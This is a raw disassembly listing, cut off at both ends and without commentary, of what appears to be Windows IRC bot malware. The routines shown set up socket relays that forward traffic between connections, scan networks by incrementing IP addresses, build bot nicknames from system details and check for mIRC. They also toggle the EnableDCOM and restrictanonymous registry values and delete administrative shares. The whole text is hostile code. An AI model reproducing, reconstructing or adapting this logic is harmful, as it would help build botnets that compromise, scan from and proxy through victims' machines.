[ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_42D8F4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4061AD mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_42F414[ecx], eax call dword_42D7A4 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_42D8A4 ; bind test eax, eax jnz loc_4061AD push 0Ah push [ebp+arg_0] call dword_42D8A0 ; listen test eax, eax jnz loc_4061AD loc_406105: ; CODE XREF: sub_406055+C6j ; sub_406055+153j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_42D908 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_406105 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_41D760 push eax call sub_40C6C3 push edi lea eax, [ebp+var_350] push 0Fh push eax call sub_40C062 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_42F40C[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_4061D2 push esi push esi call dword_418048 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_42F41C[ecx], eax jz short loc_4061B0 jmp short loc_4061A3 ; --------------------------------------------------------------------------- loc_40619B: ; CODE XREF: sub_406055+151j push 32h call dword_418040 ; Sleep loc_4061A3: ; CODE XREF: sub_406055+144j cmp [ebp+var_30], esi jz short loc_40619B jmp loc_406105 ; --------------------------------------------------------------------------- loc_4061AD: ; CODE XREF: sub_406055+63j ; sub_406055+97j ... mov edi, [ebp+arg_0] loc_4061B0: ; CODE XREF: sub_406055+142j push edi call dword_42D90C ; closesocket push [ebp+arg_0] call dword_42D90C ; closesocket push [ebp+var_40] call sub_40C378 pop ecx push esi call dword_418050 ; ExitThread pop edi pop esi sub_406055 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4061D2 proc near ; DATA XREF: sub_406055+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_40CCA0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call dword_42D8F4 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_406373 push 10h lea eax, [ebp+var_18] push edi push eax call sub_40CC40 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_42D878 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_42D8B4 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_406262 lea eax, [ebp+var_13C] push eax call dword_42D8F8 ; gethostbyname jmp short loc_406270 ; --------------------------------------------------------------------------- loc_406262: ; CODE XREF: sub_4061D2+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_42D834 ; gethostbyaddr loc_406270: ; CODE XREF: sub_4061D2+8Ej cmp eax, edi jz loc_406373 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_42D824 ; connect cmp eax, 0FFFFFFFFh jz loc_406373 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_41D7A8 push eax call sub_40C6C3 push esi lea eax, [ebp+var_344] push 0Fh push eax call sub_40C062 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_42F414[ebx] mov dword_42F40C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_42F418[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_4063A4 push edi push edi call dword_418048 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_42F41C[ecx], eax jz short loc_406373 jmp short loc_40632C ; --------------------------------------------------------------------------- loc_406324: ; CODE XREF: sub_4061D2+15Dj push 32h call dword_418040 ; Sleep loc_40632C: ; CODE XREF: sub_4061D2+150j cmp [ebp+var_20], edi jz short loc_406324 mov ebx, 1000h loc_406336: ; CODE XREF: sub_4061D2+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_42D890 ; recv cmp eax, edi jle short loc_406373 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_42D8C4 ; send cmp eax, 0FFFFFFFFh jnz short loc_406336 loc_406373: ; CODE XREF: sub_4061D2+44j ; sub_4061D2+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_42F414[eax] call dword_42D90C ; closesocket push [ebp+arg_0] call dword_42D90C ; closesocket push [ebp+var_4] call sub_40C378 pop ecx push edi call dword_418050 ; ExitThread pop edi pop esi pop ebx sub_4061D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063A4 proc near ; DATA XREF: sub_4061D2+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_40CCA0 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_4063DB: ; CODE XREF: sub_4063A4+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_42F418[esi] call dword_42D890 ; recv test eax, eax jle short loc_406422 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_42F414[esi] call dword_42D8C4 ; send cmp eax, 0FFFFFFFFh jnz short loc_4063DB loc_406422: ; CODE XREF: sub_4063A4+61j push dword_42F418[esi] call dword_42D90C ; closesocket push [ebp+var_14] call sub_40C378 pop ecx push 0 call dword_418050 ; ExitThread pop edi pop esi sub_4063A4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406441 proc near ; CODE XREF: sub_406777+4Ap ; DATA XREF: .nsp0:off_41D800o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_41805C ; GetTickCount push eax call sub_40CB55 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aWw ; "Ww|" push offset aS_0 ; "%s" push 1Ch push edi call sub_40D3F7 xor esi, esi add esp, 10h cmp dword_41DE54, esi jle short loc_40649A loc_406474: ; CODE XREF: sub_406441+57j call sub_40CB5F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41D854 push 1Ch push edi call sub_40D3F7 add esp, 14h inc esi cmp esi, dword_41DE54 jl short loc_406474 loc_40649A: ; CODE XREF: sub_406441+31j mov eax, edi pop edi pop esi retn sub_406441 endp ; =============== S U B R O U T I N E ======================================= sub_40649F proc near ; CODE XREF: sub_4077FD+24E7p arg_0 = dword ptr 4 push ebx push esi push edi call dword_41805C ; GetTickCount push eax call sub_40CB55 pop ecx call sub_40CB5F push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_41DE54 test esi, esi jle short loc_4064E2 loc_4064CC: ; CODE XREF: sub_40649F+41j call sub_40CB5F push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_4064CC loc_4064E2: ; CODE XREF: sub_40649F+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40649F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call dword_41805C ; GetTickCount push eax call sub_40CB55 pop ecx lea eax, [ebp-4] mov esi, offset dword_41D85C push eax push esi call dword_4180D0 ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_40D3F7 xor esi, esi add esp, 0Ch cmp dword_41DE54, esi jle short loc_406555 loc_40652F: ; CODE XREF: .nsp0:00406553j call sub_40CB5F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41D854 push 1Ch push edi call sub_40D3F7 add esp, 14h inc esi cmp esi, dword_41DE54 jl short loc_40652F loc_406555: ; CODE XREF: .nsp0:0040652Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_41805C ; GetTickCount push eax call sub_40CB55 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_418000 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_41D860 push 1Ch push edi call sub_40D3F7 xor esi, esi add esp, 10h cmp dword_41DE54, esi jle short loc_4065CA loc_4065A4: ; CODE XREF: .nsp0:004065C8j call sub_40CB5F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41D854 push 1Ch push edi call sub_40D3F7 add esp, 14h inc esi cmp esi, dword_41DE54 jl short loc_4065A4 loc_4065CA: ; CODE XREF: .nsp0:004065A2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_4242F0 mov dword ptr [ebp-94h], 94h call dword_4180E0 ; GetVersionExA call dword_41805C ; GetTickCount push eax call sub_40CB55 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_406654 cmp dword ptr [ebp-8Ch], 0 jnz short loc_406634 cmp dword ptr [ebp-84h], 1 jnz short loc_406624 mov esi, offset dword_41D888 loc_406624: ; CODE XREF: .nsp0:0040661Dj cmp dword ptr [ebp-84h], 2 jnz short loc_406690 mov esi, offset dword_41D884 jmp short loc_406690 ; --------------------------------------------------------------------------- loc_406634: ; CODE XREF: .nsp0:00406614j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_406644 mov esi, offset dword_41D880 jmp short loc_406690 ; --------------------------------------------------------------------------- loc_406644: ; CODE XREF: .nsp0:0040663Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40668B mov esi, offset dword_41D87C jmp short loc_406690 ; --------------------------------------------------------------------------- loc_406654: ; CODE XREF: .nsp0:0040660Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40668B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40666D mov esi, offset dword_41D878 jmp short loc_406690 ; --------------------------------------------------------------------------- loc_40666D: ; CODE XREF: .nsp0:00406664j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40667D mov esi, offset dword_41D874 jmp short loc_406690 ; --------------------------------------------------------------------------- loc_40667D: ; CODE XREF: .nsp0:00406674j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_41D870 jz short loc_406690 loc_40668B: ; CODE XREF: .nsp0:0040664Bj ; .nsp0:0040665Bj mov esi, offset dword_41D86C loc_406690: ; CODE XREF: .nsp0:0040662Bj ; .nsp0:00406632j ... mov edi, [ebp+8] push esi push offset dword_41D864 push 1Ch push edi call sub_40D3F7 xor esi, esi add esp, 10h cmp dword_41DE54, esi jle short loc_4066D4 loc_4066AE: ; CODE XREF: .nsp0:004066D2j call sub_40CB5F push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_41D854 push 1Ch push edi call sub_40D3F7 add esp, 14h inc esi cmp esi, dword_41DE54 jl short loc_4066AE loc_4066D4: ; CODE XREF: .nsp0:004066ACj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4066DA proc near ; CODE XREF: sub_406777+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_41805C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax call dword_42D884 ; FindWindowA cmp esi, 0Ah jbe short loc_406729 test eax, eax mov eax, offset dword_41D894 jnz short loc_406712 mov eax, offset byte_4242F0 loc_406712: ; CODE XREF: sub_4066DA+31j push eax push esi push offset dword_41D88C lea eax, [ebp+var_1C] push 1Ch push eax call sub_40D3F7 add esp, 14h jmp short loc_406743 ; --------------------------------------------------------------------------- loc_406729: ; CODE XREF: sub_4066DA+28j test eax, eax mov eax, offset dword_41D894 jnz short loc_406737 mov eax, offset byte_4242F0 loc_406737: ; CODE XREF: sub_4066DA+56j push eax lea eax, [ebp+var_1C] push eax call sub_40C6C3 pop ecx pop ecx loc_406743: ; CODE XREF: sub_4066DA+4Dj lea eax, [ebp+var_1C] push eax call sub_40CBC0 pop ecx cmp eax, 2 pop esi jbe short loc_406772 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_40C5A0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_40C720 add esp, 18h loc_406772: ; CODE XREF: sub_4066DA+77j mov eax, [ebp+arg_0] leave retn sub_4066DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406777 proc near ; CODE XREF: sub_40752C+7Fp ; sub_407681+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_406780: ; CODE XREF: sub_406777+40j cmp [ebp+arg_C], 0 jz short loc_40679E lea eax, dword_41D7F0[esi] push eax push [ebp+arg_C] call sub_40D860 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4067AC ; --------------------------------------------------------------------------- loc_40679E: ; CODE XREF: sub_406777+Dj mov ecx, dword_41D7FC[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_4067AC: ; CODE XREF: sub_406777+25j test eax, eax jnz short loc_4067BB add esi, 14h inc edi cmp esi, 64h jb short loc_406780 jmp short loc_4067C9 ; --------------------------------------------------------------------------- loc_4067BB: ; CODE XREF: sub_406777+37j push [ebp+arg_0] lea eax, [edi+edi*4] call off_41D800[eax*4] pop ecx loc_4067C9: ; CODE XREF: sub_406777+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_4067DC push [ebp+arg_0] call sub_4066DA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4067DC: ; CODE XREF: sub_406777+58j mov eax, [ebp+arg_0] pop ebp retn sub_406777 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067E1 proc near ; DATA XREF: sub_4068AE+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A4h], esi lea eax, [ebp+var_10] push eax call sub_40CC40 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_42D878 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_42D8F4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40689F lea eax, [ebp+var_10] push 10h push eax push esi call dword_42D824 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_42F414[ecx], esi jz short loc_40689F push [ebp+var_34] push [ebp+var_28] call dword_42D900 ; inet_ntoa push eax mov edi, offset dword_42E480 push offset unk_41D898 push edi call sub_40C6C3 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_404555 push edi call sub_403145 add esp, 28h loc_40689F: ; CODE XREF: sub_4067E1+5Dj ; sub_4067E1+7Ej push esi call dword_42D90C ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_4067E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4068AE proc near ; DATA XREF: sub_4077FD+1FD7o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_418040 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_4068DC: ; CODE XREF: sub_4068AE+ECj push [ebp+var_2C] push [ebp+var_20] call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_41D8C0 push eax call sub_40C6C3 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_42F208 push eax call sub_40C720 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_4067E1 push edi push edi call dword_418048 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_406948 jmp short loc_406943 ; --------------------------------------------------------------------------- loc_40693F: ; CODE XREF: sub_4068AE+98j push 32h call esi ; Sleep loc_406943: ; CODE XREF: sub_4068AE+8Fj cmp [ebp+var_C], edi jz short loc_40693F loc_406948: ; CODE XREF: sub_4068AE+8Dj push [ebp+var_4] call dword_41807C ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call near ptr sub_40C820 add esp, 0Ch push [ebp+arg_0] call dword_42D7BC ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_42D874 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call near ptr sub_40C820 add esp, 0Ch jmp loc_4068DC sub_4068AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40699F proc near ; DATA XREF: sub_4077FD+382Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_4069E6 call sub_4069FF jmp short loc_4069EB ; --------------------------------------------------------------------------- loc_4069E6: ; CODE XREF: sub_40699F+3Ej call sub_406D25 loc_4069EB: ; CODE XREF: sub_40699F+45j add esp, 10h push [ebp+var_14] call sub_40C378 pop ecx push 0 call dword_418050 ; ExitThread sub_40699F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069FF proc near ; CODE XREF: sub_40699F+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_42D940, edi jnz loc_406B31 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_42D8E4 ; RegOpenKeyExA test eax, eax jnz short loc_406A8A mov ax, word_41DBB8 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_42D89C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_406A72 push offset unk_41DB84 jmp short loc_406A77 ; --------------------------------------------------------------------------- loc_406A72: ; CODE XREF: sub_4069FF+6Aj push offset dword_41DB64 loc_406A77: ; CODE XREF: sub_4069FF+71j push eax call sub_40C6C3 pop ecx pop ecx push [ebp+var_4] call dword_42D854 ; RegCloseKey jmp short loc_406A9D ; --------------------------------------------------------------------------- loc_406A8A: ; CODE XREF: sub_4069FF+36j lea eax, [ebp+var_214] push offset unk_41DB30 push eax call sub_40C6C3 pop ecx pop ecx loc_406A9D: ; CODE XREF: sub_4069FF+89j cmp [ebp+arg_C], edi jnz short loc_406ABC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406ABC: ; CODE XREF: sub_4069FF+A1j lea eax, [ebp+var_214] push eax call sub_403145 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_42D8E4 ; RegOpenKeyExA test eax, eax jnz short loc_406B2A lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_42D89C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_406B12 push offset unk_41DADC jmp short loc_406B17 ; --------------------------------------------------------------------------- loc_406B12: ; CODE XREF: sub_4069FF+10Aj push offset unk_41DAA4 loc_406B17: ; CODE XREF: sub_4069FF+111j push eax call sub_40C6C3 pop ecx pop ecx push [ebp+var_4] call dword_42D854 ; RegCloseKey jmp short loc_406B44 ; --------------------------------------------------------------------------- loc_406B2A: ; CODE XREF: sub_4069FF+E2j push offset unk_41DA64 jmp short loc_406B36 ; --------------------------------------------------------------------------- loc_406B31: ; CODE XREF: sub_4069FF+13j push offset unk_41DA30 loc_406B36: ; CODE XREF: sub_4069FF+130j lea eax, [ebp+var_214] push eax call sub_40C6C3 pop ecx pop ecx loc_406B44: ; CODE XREF: sub_4069FF+129j cmp [ebp+arg_C], edi jnz short loc_406B63 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406B63: ; CODE XREF: sub_4069FF+148j lea eax, [ebp+var_214] push eax call sub_403145 cmp dword_42D968, edi pop ecx jnz loc_406CE0 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_406B86: ; CODE XREF: sub_4069FF+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_42D7D4 cmp eax, edi mov [ebp+var_10], eax jz short loc_406C25 cmp eax, 0EAh jz short loc_406C25 xor esi, esi loc_406BB4: ; CODE XREF: sub_4069FF+21Fj push off_41D8EC[esi] push edi call sub_4057B6 pop ecx pop ecx push off_41D8EC[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_406BD9 push offset unk_41DA0C jmp short loc_406BDE ; --------------------------------------------------------------------------- loc_406BD9: ; CODE XREF: sub_4069FF+1D1j push offset unk_41D9DC loc_406BDE: ; CODE XREF: sub_4069FF+1D8j push 200h push eax call sub_40D3F7 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_406C0B push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406C0B: ; CODE XREF: sub_4069FF+1F0j lea eax, [ebp+var_214] push eax call sub_403145 add esi, 8 pop ecx cmp esi, 20h jb short loc_406BB4 jmp loc_406CBD ; --------------------------------------------------------------------------- loc_406C25: ; CODE XREF: sub_4069FF+1AAj ; sub_4069FF+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_406CB4 loc_406C34: ; CODE XREF: sub_4069FF+2B1j mov edi, [esi] push edi call sub_40E6CC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_406CA9 push edi call sub_4056A3 push eax push 0 call sub_4057B6 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_406C69 push offset unk_41D9B8 jmp short loc_406C6E ; --------------------------------------------------------------------------- loc_406C69: ; CODE XREF: sub_4069FF+261j push offset unk_41D988 loc_406C6E: ; CODE XREF: sub_4069FF+268j push 200h push eax call sub_40D3F7 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_406C9C push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406C9C: ; CODE XREF: sub_4069FF+281j lea eax, [ebp+var_214] push eax call sub_403145 pop ecx loc_406CA9: ; CODE XREF: sub_4069FF+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_406C34 xor edi, edi loc_406CB4: ; CODE XREF: sub_4069FF+22Fj push [ebp+var_8] call dword_42D904 loc_406CBD: ; CODE XREF: sub_4069FF+221j cmp [ebp+var_10], 0EAh jz loc_406B86 lea eax, [ebp+var_214] push offset unk_41D960 push eax call sub_40C6C3 pop ecx pop ecx pop ebx jmp short loc_406CF3 ; --------------------------------------------------------------------------- loc_406CE0: ; CODE XREF: sub_4069FF+177j lea eax, [ebp+var_214] push offset unk_41D92C push eax call sub_40C6C3 pop ecx pop ecx loc_406CF3: ; CODE XREF: sub_4069FF+2DFj cmp [ebp+arg_C], edi jnz short loc_406D11 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406D11: ; CODE XREF: sub_4069FF+2F7j lea eax, [ebp+var_214] push eax call sub_403145 pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_4069FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D25 proc near ; CODE XREF: sub_40699F:loc_4069E6p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_42D940, ebx push esi jnz loc_406E53 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_42D8E4 ; RegOpenKeyExA test eax, eax jnz short loc_406DB0 mov ax, word_41DD3C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_42D89C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_406D98 push offset unk_41DD18 jmp short loc_406D9D ; --------------------------------------------------------------------------- loc_406D98: ; CODE XREF: sub_406D25+6Aj push offset dword_41DCF8 loc_406D9D: ; CODE XREF: sub_406D25+71j push eax call sub_40C6C3 pop ecx pop ecx push [ebp+var_4] call dword_42D854 ; RegCloseKey jmp short loc_406DC3 ; --------------------------------------------------------------------------- loc_406DB0: ; CODE XREF: sub_406D25+36j lea eax, [ebp+var_220] push offset unk_41DB30 push eax call sub_40C6C3 pop ecx pop ecx loc_406DC3: ; CODE XREF: sub_406D25+89j cmp [ebp+arg_C], ebx jnz short loc_406DE2 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406DE2: ; CODE XREF: sub_406D25+A1j lea eax, [ebp+var_220] push eax call sub_403145 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_42D8E4 ; RegOpenKeyExA test eax, eax jnz short loc_406E4C lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_42D89C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_406E34 push offset unk_41DCB8 jmp short loc_406E39 ; --------------------------------------------------------------------------- loc_406E34: ; CODE XREF: sub_406D25+106j push offset unk_41DC80 loc_406E39: ; CODE XREF: sub_406D25+10Dj push eax call sub_40C6C3 pop ecx pop ecx push [ebp+var_4] call dword_42D854 ; RegCloseKey jmp short loc_406E66 ; --------------------------------------------------------------------------- loc_406E4C: ; CODE XREF: sub_406D25+E2j push offset unk_41DC40 jmp short loc_406E58 ; --------------------------------------------------------------------------- loc_406E53: ; CODE XREF: sub_406D25+13j push offset unk_41DA30 loc_406E58: ; 